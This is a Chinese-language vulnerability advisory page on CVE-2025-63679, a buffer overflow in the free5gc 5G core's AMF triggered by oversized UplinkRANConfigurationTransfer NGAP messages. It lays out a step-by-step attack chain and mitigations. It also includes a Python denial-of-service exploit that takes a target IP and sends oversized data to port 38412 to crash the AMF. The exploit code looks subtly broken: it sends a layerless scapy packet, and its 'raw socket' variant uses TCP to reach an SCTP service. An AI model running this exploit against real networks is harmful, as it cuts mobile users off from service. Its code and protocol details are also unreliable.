IPBUF安全漏洞报告
English
CVE-2025-63679 CVSS 7.5 高危

CVE-2025-63679 free5gc AMF缓冲区溢出漏洞

披露日期: 2025-11-12

漏洞信息

漏洞编号
CVE-2025-63679
漏洞类型
缓冲区溢出
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
free5gc

相关标签

缓冲区溢出free5gc5G核心网AMFNGAP拒绝服务CVE-2025-63679高危漏洞远程代码执行3GPP

漏洞概述

CVE-2025-63679是free5gc项目中的一个高危缓冲区溢出漏洞。free5gc是一个开源的5G核心网(5GC)实现,遵循3GPP Release 16标准。该漏洞存在于AMF(Access and Mobility Management Function,访问和移动性管理功能)组件中,当AMF接收到来自gNB(下一代NodeB,5G基站)的UplinkRANConfigurationTransfer NGAP(Nodal Application Part,节点应用部分)消息时,由于对输入数据的长度验证不足,导致缓冲区溢出问题。攻击者可以通过构造恶意的NGAP消息触发该漏洞,使AMF进程崩溃,从而造成5G核心网的可用性中断。CVSS 3.1评分7.5,属于高危漏洞,无需认证即可远程利用,对可用性造成严重影响。

技术细节

该漏洞的根本原因在于free5gc AMF组件在处理UplinkRANConfigurationTransfer NGAP消息时缺乏适当的长度检查。UplinkRANConfigurationTransfer是NGAP协议中用于在gNB和AMF之间传递RAN配置信息的消息类型。当攻击者向AMF发送精心构造的UplinkRANConfigurationTransfer消息时,如果消息中的某些字段长度超过预期缓冲区大小,就会触发缓冲区溢出。具体来说,AMF在解析NGAP消息的IE(Information Element)时,未能正确验证用户数据或配置参数的实际长度与分配缓冲区大小的匹配性。这可能导致相邻内存区域被覆盖,触发程序崩溃或潜在的代码执行。在实际攻击场景中,恶意gNB或伪装成gNB的攻击者可以直接向AMF发送特制的NGAP消息,利用此漏洞造成服务中断。由于该漏洞位于5G核心网的关键控制平面,攻击成功将影响大量用户的连接管理功能。

攻击链分析

STEP 1
步骤1
攻击者识别目标free5gc AMF服务,探测其IP地址和SCTP端口(默认38412)
STEP 2
步骤2
攻击者构造恶意的UplinkRANConfigurationTransfer NGAP消息,包含超长的RANConfigurationContainer字段
STEP 3
步骤3
攻击者伪装成gNB或直接向AMF发送特制的NGAP消息,无需任何认证
STEP 4
步骤4
AMF在解析消息时未进行长度验证,将超长数据写入固定大小的缓冲区,导致缓冲区溢出
STEP 5
步骤5
内存覆盖导致AMF进程崩溃,5G核心网的移动性管理功能中断
STEP 6
步骤6
所有依赖该AMF的UE(用户设备)失去连接,新用户无法接入5G网络

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
''' CVE-2025-63679 PoC - free5gc AMF Buffer Overflow This PoC demonstrates the UplinkRANConfigurationTransfer NGAP message that triggers buffer overflow in free5gc AMF. ''' from scapy.all import * from scapy.contrib.ngap import * def create_malicious_ngap_message(): """ Create a malicious UplinkRANConfigurationTransfer NGAP message with oversized fields to trigger buffer overflow """ # Construct NGAP UplinkRANConfigurationTransfer message # with oversized RANConfiguration parameters ngap_packet = NGAP() / NGAP_UplinkRANConfigurationTransfer() # Add oversized RAN-Configuration-Container # This field exceeds expected buffer size oversized_container = b'\x00' * 10000 # Malicious oversized data ngap_packet.RANConfigurationContainer = oversized_container return ngap_packet def send_exploit(target_ip, target_port=38412): """ Send the malicious NGAP message to free5gc AMF """ print(f"[*] Sending malicious UplinkRANConfigurationTransfer to {target_ip}:{target_port}") malicious_packet = create_malicious_ngap_message() # Send the packet (requires raw socket privileges) send(malicious_packet, verbose=0) print("[+] Malicious packet sent successfully") print("[*] AMF process should crash upon receiving this packet") if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve_2025_63679_poc.py <target_ip>") sys.exit(1) target_ip = sys.argv[1] send_exploit(target_ip) # Alternative: Simple raw socket implementation def send_raw_exploit(target_ip): """ Alternative method using raw sockets """ import socket # NGAP protocol ID is 18 sctp_chunk = bytes([0x00, 0x0e]) # NGAP payload oversized_data = b'\x41' * 8192 # Trigger overflow packet = sctp_chunk + oversized_data sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, 38412)) sock.send(packet) sock.close() print("[+] Exploit sent via raw socket")

影响范围

free5gc v4.1.0及之前所有版本

防御指南

临时缓解措施
在官方补丁发布之前,可以采取以下临时缓解措施:1)通过网络分段和访问控制列表(ACL)限制只有授信的gNB设备才能与AMF通信;2)部署入侵检测/防御系统(IDS/IPS)监控异常的NGAP消息,特别是包含异常大字段的UplinkRANConfigurationTransfer消息;3)启用AMF进程的自动重启机制以减少服务中断时间;4)监控AMF进程的内存使用情况和异常行为;5)考虑在AMF前部署Web应用防火墙(WAF)或API网关进行消息过滤。建议尽快应用官方安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表